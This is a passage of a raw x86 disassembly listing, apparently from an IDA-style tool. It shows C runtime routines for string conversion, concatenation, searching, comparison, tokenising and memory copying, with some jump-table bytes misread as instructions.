1 jnz short loc_41BD99 and ecx, 2 jz short loc_41BD69 cmp [ebp+var_8], 80000000h ja short loc_41BD72 loc_41BD69: ; CODE XREF: sub_41BBBD+1A1j test ecx, ecx jnz short loc_41BD99 cmp [ebp+var_8], eax jbe short loc_41BD99 loc_41BD72: ; CODE XREF: sub_41BBBD+197j ; sub_41BBBD+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4DB278, 22h jz short loc_41BD88 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD88: ; CODE XREF: sub_41BBBD+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41BD99: ; CODE XREF: sub_41BBBD+18Dj ; sub_41BBBD+19Cj ... test edx, edx jz short loc_41BDA2 mov eax, [ebp+var_4] mov [edx], eax loc_41BDA2: ; CODE XREF: sub_41BBBD+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41BDB0 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41BDB0: ; CODE XREF: sub_41BBBD+1E9j mov eax, [ebp+var_8] jmp short loc_41BDC0 ; --------------------------------------------------------------------------- loc_41BDB5: ; CODE XREF: sub_41BBBD+66j ; sub_41BBBD+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41BDBE mov [eax], edi loc_41BDBE: ; CODE XREF: sub_41BBBD+1FDj xor eax, eax loc_41BDC0: ; CODE XREF: sub_41BBBD+1F6j pop edi pop esi pop ebx leave retn sub_41BBBD endp ; =============== S U B R O U T I N E ======================================= sub_41BDC5 proc near ; CODE XREF: sub_401ACD+61CEp ; sub_401ACD+6A0Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BDC5 endp ; =============== S U B R O U T I N E ======================================= sub_41BDDC proc near ; CODE XREF: sub_401ACD+5980p arg_0 = dword ptr 4 push [esp+arg_0] nop call near ptr 269074Ch test eax, eax jnz short loc_41BDF2 call near ptr 2690CE2h nop jmp short loc_41BDF4 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj xor eax, eax loc_41BDF4: ; CODE XREF: sub_41BDDC+14j test eax, eax jz short loc_41BE03 push eax call sub_4203DF pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj xor eax, eax retn sub_41BDDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE06 proc near ; CODE XREF: sub_401ACD+58D2p ; ___:00411CA1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420446 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41F69F push [ebp+arg_0] mov edi, eax push esi call sub_4204D3 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41BE06 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE40 proc near ; CODE XREF: sub_401ACD+1E81p ; sub_401ACD+1EA0p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41BE61 xor eax, eax jmp short loc_41BE63 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BE40+1Bj mov eax, edi loc_41BE63: ; CODE XREF: sub_41BE40+1Fj cld pop edi leave retn sub_41BE40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE70 proc near ; CODE XREF: sub_401ACD+870p ; ___:0041DD1Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41BEA1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41BE9F jz short loc_41BEA1 dec ecx dec ecx loc_41BE9F: ; CODE XREF: sub_41BE70+29j not ecx loc_41BEA1: ; CODE XREF: sub_41BE70+9j ; sub_41BE70+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41BE70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEB0 proc near ; CODE XREF: sub_401ACD+42Fp ; sub_401ACD+2FFCp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41BF21 sub_41BEB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEC0 proc near ; CODE XREF: sub_401ACD+438p ; sub_401ACD+75FEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41BEDC loc_41BECD: ; CODE XREF: sub_41BEC0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41BF0F test ecx, 3 jnz short loc_41BECD loc_41BEDC: ; CODE XREF: sub_41BEC0+Bj ; sub_41BEC0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41BEDC mov eax, [ecx-4] test al, al jz short loc_41BF1E test ah, ah jz short loc_41BF19 test eax, 0FF0000h jz short loc_41BF14 test eax, 0FF000000h jz short loc_41BF0F jmp short loc_41BEDC ; --------------------------------------------------------------------------- loc_41BF0F: ; CODE XREF: sub_41BEC0+12j ; sub_41BEC0+4Bj lea edi, [ecx-1] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF14: ; CODE XREF: sub_41BEC0+44j lea edi, [ecx-2] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF19: ; CODE XREF: sub_41BEC0+3Dj lea edi, [ecx-3] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF1E: ; CODE XREF: sub_41BEC0+39j lea edi, [ecx-4] loc_41BF21: ; CODE XREF: sub_41BEB0+5j ; sub_41BEC0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41BF46 loc_41BF2D: ; CODE XREF: sub_41BEC0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41BF98 mov [edi], dl inc edi test ecx, 3 jnz short loc_41BF2D jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BF41: ; CODE XREF: sub_41BEC0+9Ej ; sub_41BEC0+B8j mov [edi], edx add edi, 4 loc_41BF46: ; CODE XREF: sub_41BEC0+6Bj ; sub_41BEC0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41BF41 test dl, dl jz short loc_41BF98 test dh, dh jz short loc_41BF8F test edx, 0FF0000h jz short loc_41BF82 test edx, 0FF000000h jz short loc_41BF7A jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF7A: ; CODE XREF: sub_41BEC0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF82: ; CODE XREF: sub_41BEC0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41BF8F: ; CODE XREF: sub_41BEC0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF98: ; CODE XREF: sub_41BEC0+72j ; sub_41BEC0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41BEC0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41BFB0 loc_41BFA0: ; CODE XREF: sub_41BFB0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41BFB0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFB0 proc near ; CODE XREF: sub_401ACD+414p ; sub_401ACD+4C3p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41BFB6: ; CODE XREF: sub_41B900+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41BFDB loc_41BFC8: ; CODE XREF: sub_41BFB0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41BFA0 test cl, cl jz short loc_41C024 test edx, 3 jnz short loc_41BFC8 loc_41BFDB: ; CODE XREF: sub_41BFB0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41BFE6: ; CODE XREF: sub_41BFB0+61j ; sub_41BFB0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C028 and eax, 81010100h jz short loc_41BFE6 and eax, 1010100h jnz short loc_41C022 and esi, 80000000h jnz short loc_41BFE6 loc_41C022: ; CODE XREF: sub_41BFB0+68j ; sub_41BFB0+81j ... pop esi pop edi loc_41C024: ; CODE XREF: sub_41BFB0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C028: ; CODE XREF: sub_41BFB0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C065 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C05E test ah, ah jz short loc_41C022 shr eax, 10h cmp al, bl jz short loc_41C057 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C050 test ah, ah jz short loc_41C022 jmp short loc_41BFE6 ; --------------------------------------------------------------------------- loc_41C050: ; CODE XREF: sub_41BFB0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C057: ; CODE XREF: sub_41BFB0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C05E: ; CODE XREF: sub_41BFB0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C065: ; CODE XREF: sub_41BFB0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41BFB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C0BC loc_41C080: ; CODE XREF: sub_41C070+3Cj ; sub_41C070+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+3] jnz short loc_41C0B4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C080 mov edi, edi loc_41C0B0: ; CODE XREF: sub_41C070+18j ; sub_41C070+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0B4: ; CODE XREF: sub_41C070+14j ; sub_41C070+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0BC: ; CODE XREF: sub_41C070+Ej test edx, 1 jz short loc_41C0D8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C0B4 inc ecx or al, al jz short loc_41C0B0 test edx, 2 jz short loc_41C080 loc_41C0D8: ; CODE XREF: sub_41C070+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 add ecx, 2 jmp short loc_41C080 sub_41C070 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C0F4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C10D: ; CODE XREF: sub_41C0F4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C10D mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C135 mov edx, dword_4DB2C4 loc_41C135: ; CODE XREF: sub_41C0F4+39j ; sub_41C0F4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C155 test al, al jz short loc_41C155 inc edx jmp short loc_41C135 ; --------------------------------------------------------------------------- loc_41C155: ; CODE XREF: sub_41C0F4+58j ; sub_41C0F4+5Cj mov ebx, edx loc_41C157: ; CODE XREF: sub_41C0F4+81j mov al, [edx] test al, al jz short loc_41C17B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C177 inc edx jmp short loc_41C157 ; --------------------------------------------------------------------------- loc_41C177: ; CODE XREF: sub_41C0F4+7Ej and byte ptr [edx], 0 inc edx loc_41C17B: ; CODE XREF: sub_41C0F4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DB2C4, edx and eax, ebx pop ebx leave retn sub_41C0F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C190 proc near ; CODE XREF: sub_409A2C+1Cp ; sub_415220+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C1CE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C1DB ; --------------------------------------------------------------------------- loc_41C1CE: ; CODE XREF: sub_41C190+34j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41C1DB: ; CODE XREF: sub_41C190+3Cj mov eax, esi pop esi leave retn sub_41C190 endp ; =============== S U B R O U T I N E ======================================= sub_41C1E0 proc near ; CODE XREF: sub_40AFEA+88p ; sub_40B64A+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41C294 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C20A loc_41C1FB: ; CODE XREF: sub_41C1E0+28j mov al, [edi] inc edi test al, al jz short loc_41C23B test edi, 3 jnz short loc_41C1FB loc_41C20A: ; CODE XREF: sub_41C1E0+19j ; sub_41C1E0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C20A mov eax, [edi-4] test al, al jz short loc_41C248 test ah, ah jz short loc_41C243 test eax, 0FF0000h jz short loc_41C23E test eax, 0FF000000h jnz short loc_41C20A loc_41C23B: ; CODE XREF: sub_41C1E0+20j dec edi jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C23E: ; CODE XREF: sub_41C1E0+52j sub edi, 2 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C243: ; CODE XREF: sub_41C1E0+4Bj sub edi, 3 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C248: ; CODE XREF: sub_41C1E0+47j sub edi, 4 loc_41C24B: ; CODE XREF: sub_41C1E0+5Cj ; sub_41C1E0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC jmp short loc_41C27C ; --------------------------------------------------------------------------- loc_41C260: ; CODE XREF: sub_41C1E0+75j ; sub_41C1E0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41C29A mov [edi], dl inc edi dec ecx jz short loc_41C290 test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC loc_41C27C: ; CODE XREF: sub_41C1E0+7Ej ; sub_41C1E0+CAj mov ecx, ebx and ecx, 3 jz short loc_41C290 loc_41C283: ; CODE XREF: sub_41C1E0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41C292 dec ecx jnz short loc_41C283 loc_41C290: ; CODE XREF: sub_41C1E0+8Bj ; sub_41C1E0+A1j mov [edi], cl loc_41C292: ; CODE XREF: sub_41C1E0+ABj pop ebx pop esi loc_41C294: ; CODE XREF: sub_41C1E0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C29A: ; CODE XREF: sub_41C1E0+85j ; sub_41C1E0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2A4: ; CODE XREF: sub_41C1E0+E4j ; sub_41C1E0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C27C loc_41C2AC: ; CODE XREF: sub_41C1E0+7Cj ; sub_41C1E0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C2A4 test dl, dl jz short loc_41C29A test dh, dh jz short loc_41C2F8 test edx, 0FF0000h jz short loc_41C2E8 test edx, 0FF000000h jnz short loc_41C2A4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: sub_41C1E0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2F8: ; CODE XREF: sub_41C1E0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C1E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C310 proc near ; CODE XREF: sub_40BFA3+15p ; sub_40BFA3+3Bp ... var_3A3BFFC0 = byte ptr -3A3BFFC0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41C330 cmp edi, eax jb loc_41C4A8 loc_41C330: ; CODE XREF: sub_41C310+16j test edi, 3 jnz short loc_41C34C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- loc_41C34C: ; CODE XREF: sub_41C310+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41C364 and eax, 3 add ecx, eax jmp dword ptr loc_41C36C+4[eax*4] ; --------------------------------------------------------------------------- loc_41C364: ; CODE XREF: sub_41C310+46j jmp dword ptr loc_41C468[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C36C: ; CODE XREF: sub_41C310+31j ; sub_41C310+8Ej ... jmp off_41C3EC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41C380 ; --------------------------------------------------------------------------- lodsb retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- loc_41C380: ; DATA XREF: sub_41C310+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C3EC dd offset loc_41C44F ; DATA XREF: sub_41C310:loc_41C36Cr dd offset loc_41C43C dd offset loc_41C434 dd offset loc_41C42C dd offset loc_41C424 dd offset loc_41C41C dd offset loc_41C414 dd offset loc_41C40C ; --------------------------------------------------------------------------- loc_41C40C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41C414: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41C41C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41C424: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41C42C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41C434: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41C43C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C44F: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310:off_41C3ECo jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C458 dd offset loc_41C468 ; DATA XREF: sub_41C310+35r ; sub_41C310+92r ... dd offset loc_41C470 dd offset loc_41C47C dd offset loc_41C490 ; --------------------------------------------------------------------------- loc_41C468: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C470: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C47C: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C490: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C4A8: ; CODE XREF: sub_41C310+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41C4DC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41C4D0: ; CODE XREF: sub_41C310+1B1j ; sub_41C310+208j ... neg ecx jmp dword ptr loc_41C59F+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C4DC: ; CODE XREF: sub_41C310+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41C4F4 and eax, 3 sub ecx, eax jmp dword ptr loc_41C4F4+4[eax*4] ; --------------------------------------------------------------------------- loc_41C4F4: ; CODE XREF: sub_41C310+1D6j ; DATA XREF: sub_41C310+1DDr jmp off_41C5F0[ecx*4] ; --------------------------------------------------------------------------- align 4 or ch, al inc ecx add [eax], ch lds eax, [ecx+0] push eax lds eax, [ecx+0] mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 movsb lds eax, [ecx+0] lodsb lds eax, [ecx+0] mov ah, 0C5h inc ecx add [ebp+eax*8-3A3BFFBFh], bh inc ecx add ah, cl lds eax, [ecx+0] aam 0C5h inc ecx loc_41C59F: ; DATA XREF: sub_41C310+1C2r add bh, ah lds eax, [ecx+0] mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C5E7: ; CODE XREF: sub_41C310+1C2j jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41C5F0 dd offset loc_41C600 ; DATA XREF: sub_41C310+1B7r ; sub_41C310:loc_41C4F4r ... dd offset loc_41C608 dd offset loc_41C618 dd offset loc_41C62C ; --------------------------------------------------------------------------- loc_41C600: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C608: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C618: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C62C: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41C310 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_40BFEB+40p ; ___:0040E29Fp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41AFE0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420510 add esp, 10h leave retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C679(double) sub_41C679 proc near ; CODE XREF: sub_40D030+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A290 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C6FF call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C6E2 cmp eax, 2 jle short loc_41C6D4 cmp eax, 3 jnz short loc_41C6E2 fld [ebp+arg_0] push ebx push 